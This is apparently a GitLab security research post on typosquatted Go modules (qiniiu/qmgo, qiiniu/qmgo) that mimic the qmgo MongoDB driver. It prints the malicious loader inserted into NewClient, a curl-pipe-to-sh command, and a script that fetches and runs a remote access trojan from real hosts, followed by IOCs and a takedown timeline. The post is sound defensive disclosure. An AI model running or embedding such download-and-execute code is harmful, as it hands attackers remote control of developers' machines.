GitLab catches MongoDB Go module supply chain attack

Software supply chain attacks via malicious dependencies continue to be one of the most significant security threats to modern software development. The widespread use of open source components has enabled development teams to build applications rapidly, but it has also widened the attack surface area. The growing ecosystem of third-party packages presents numerous opportunities for attackers to exploit dependencies through techniques like typosquatting, dependency confusion, and package impersonation, making it increasingly challenging for developers to distinguish legitimate packages from malicious imposters.

To address this challenge, GitLab's Vulnerability Research team recently developed an automated detection system designed to proactively identify malicious dependencies in software supply chains. The system combines multiple detection techniques that work in concert:

• Automated typosquatting detection, which identifies suspicious naming patterns
• Semantic code analysis, which flags potentially malicious behaviors like network requests or command executions
• AI-assisted initial screening for advanced payload and obfuscation detection

This multi-layered approach is used by the vulnerability research team to continuously scan newly published dependencies across major ecosystems, providing early warning of supply chain attacks.

Using this detection system, GitLab recently identified a live typosquatting attack in the wild that leveraged a malicious MongoDB Go module. Below are details on the attack and how GitLab works to keep supply chains safe.

Executive summary: A MongoDB module that's not quite right

Our detection system flagged a newly published Go module called github.com/qiniiu/qmgo, closely mimicking the popular MongoDB module github.com/qiniu/qmgo. The legitimate module describes itself as "The Go driver for MongoDB" and has gained traction in the Go community.

To disguise the malicious module as legitimate, the threat actor used a GitHub username nearly identical to the one associated with the real module with one subtle change: they added one “i” (qiniu → qiniiu). To the casual observer scrolling through search results or auto-complete suggestions, this difference would be very easy to overlook.

The new module’s code was a working copy of the legitimate qmgo module. However, malicious code was inserted into the NewClient function in client.go, a function that developers would naturally call when initializing their MongoDB connection. Concealing malicious code within a function made the payload less likely to be executed during potential runtime security analysis, while ensuring that it would execute from normal usage in real applications.

After reporting the malicious module, it was removed within approximately 19 hours of our initial report. However, the threat actor quickly adapted, publishing a second typosquatted version (github.com/qiiniu/qmgo) just four days later with identical malicious code. This follow-up attack was also detected and taken down roughly one hour after initial discovery. The rapid redeployment demonstrates the persistent nature of these attacks and highlights why proactive detection is crucial in minimizing exposure windows.

Technical deep dive: Peeling back the layers

The threat actor took steps to hide the attack. The malicious payload used a multilayered approach, starting with a compact code snippet that triggered a chain of remote payload downloads:

txt, err := script.Get("https://raw.githubusercontent.com/qiiniu/vue-element-admin/refs/heads/main/public/update.html").String()  
if err == nil {  
    txt2, err := script.Get(string(strings.Replace(txt, "\n", "", -1))).String()  
    if err == nil {  
        exec.Command("/bin/sh", "-c", string(txt2)).Start()  
    }  
}  

The attack unfolds in four distinct layers:

Layer 1: The code fetches update.html from another repository owned by the typosquat account qiiniu/vue-element-admin. The file contained a single line:

https://img.googlex.cloud/seed.php

Layer 2: The code then fetches https://img.googlex.cloud/seed.php, which returns a single shell command, which is executed:

curl -s http://207.148.110.29:80/logon61.gif|sh

Layer 3: The command tells the system to fetch http://207.148.110.29:80/logon61.gif using curl and execute the response as a shell script. The shell script downloads what appears to be an MP3 file (chainelli.mp3) to /tmp/vod, makes it executable, runs it, and immediately deletes it:

#!/bin/sh  
rm -rf /tmp/vod  
curl -s http://207.148.110.29:80/chainelli.mp3 -o /tmp/vod  
chmod 777 /tmp/vod  
/tmp/vod  
rm -rf /tmp/vod  

Layer 4: The chainelli.mp3 file is actually a statically-linked, stripped ELF Go binary designed to establish persistent remote access. Once executed, the malware attempts to connect to its command and control server at ellipal.spoolsv.cyou on Port 443 (both TCP and UDP), using a custom encrypted communication protocol with a hardcoded RSA key. From there, it provides the threat actor with remote administration capabilities:

• Complete remote shell access and one-off command execution
• Screenshot captures
• SOCKS proxy functionality to make connections through the compromised machine
• Configurable sleep interval between check-ins with the command and control server to avoid detection
• Standard remote access trojan features like filesystem browsing and upload/download

They're back (already)

Just four days after GitLab reported the initial malicious module and saw it removed, github.com/qiiniu/qmgo appeared – the second typosquatted version with identical malicious code. This quick redeployment demonstrates the persistent nature of these attacks and highlights how threat actors adapt quickly to takedown efforts.

GitLab’s approach: Finding needles in haystacks

The initial discovery and persistence of this attack validated our approach to proactive dependency monitoring and threat detection. GitLab’s detection system combines multiple techniques to identify malicious dependencies:

Typosquatting detection: GitLab monitors newly published dependencies and looks for packages that exhibit signs of various typosquatting strategies.

Semantic heuristics: Our system statically analyzes code for patterns like network requests, command executions, and other behaviors typical of malicious payloads.

AI-assisted analysis: A large language model does the initial analysis of the suspicious parts of the code to help us weed out obvious false positives, detect complex payloads, and identify obfuscation techniques used to hide malicious intent.

Human review: A human receives an alert to verify the finding and to perform advanced analysis.

Recommendations: Staying ahead of persistent supply chain threats

This attack highlights the ongoing challenges in securing software supply chains. The multilayered obfuscation and rapid redeployment after takedown demonstrate that threat actors are willing to invest significant effort in targeting popular dependencies.

The quick pivot to new typosquatted packages after our initial report highlights a fundamental weakness in the current ecosystems: package managers typically only remove malicious dependencies after they've been published, discovered, and reported by the community. This reactive approach leaves a dangerous window where developers can unknowingly consume compromised packages. Proactive monitoring and detection systems like the one GitLab has developed can help close this gap by identifying threats during the publication process itself.

We've provided indicators of compromise (IOCs) in the next section, which you can use in your monitoring systems to detect this specific campaign.

Indicators of compromise

IOC	Description
github.com/qiniiu/qmgo	Malicious Go module
github.com/qiiniu/qmgo	Malicious Go module
https://raw.githubusercontent.com/qiniiu/vue-element-admin/refs/heads/main/public/update.html	Payload delivery URL
https://raw.githubusercontent.com/qiiniu/vue-element-admin/refs/heads/main/public/update.html	Payload delivery URL
https://img.googlex.cloud/seed.php	Payload delivery URL
http://207.148.110.29:80/logon61.gif	Payload delivery URL
http://207.148.110.29:80/chainelli.mp3	Payload delivery URL
img.googlex.cloud	Payload delivery host
207.148.110.29	Payload delivery host
ellipal.spoolsv.cyou	Command & Control host
6ada952c592f286692c59028c5e0fc3fa589759f	SHA-1 checksum of chainelli.mp3 remote administration malware
8ae533e2d1d89c871908cbcf5c7d89c433d09b2e7f7d4ade3aef46c55b66509c	SHA-256 checksum of chainelli.mp3 remote administration malware
/tmp/vod	Temporary download location of chainelli.mp3 remote administration malware

How GitLab helps secure the software supply chain

Malicious dependencies, like the MongoDB Go module attack, highlight why securing the software supply chain requires more than just CVE monitoring. GitLab’s DevSecOps platform includes Application Security Testing scanners like Software Composition Analysis in the development lifecycle, helping teams catch vulnerable or malicious packages before they reach production.

Paired with research efforts like this, GitLab aims to enable developers to build applications that are secure from the start without compromising on development velocity.

Timeline

• 2025-06-01T09:31: GitLab reports github.com/qiniiu/qmgo to Go Security
• 2025-06-01T09:43: GitLab reports github.com/qiniiu/qmgo to GitHub
• 2025-06-01T10:14: GitLab reports ellipal.spoolsv.cyou (188.166.213.194) to the IP block owner
• 2025-06-02T04:03: Go Security takes down github.com/qiniiu/qmgo
• 2025-06-02T09:57: The IP block owner suspends 188.166.213.194
• 2025-06-03T09:15: GitHub suspends github.com/qiniiu
• 2025-06-05T17:15: GitLab reports github.com/qiiniu/qmgo to Go Security
• 2025-06-05T17:33: GitLab reports github.com/qiiniu/qmgo to GitHub
• 2025-06-05T17:45: Go Security takes down github.com/qiiniu/qmgo
• 2025-06-06T12:25: GitHub suspends github.com/qiiniu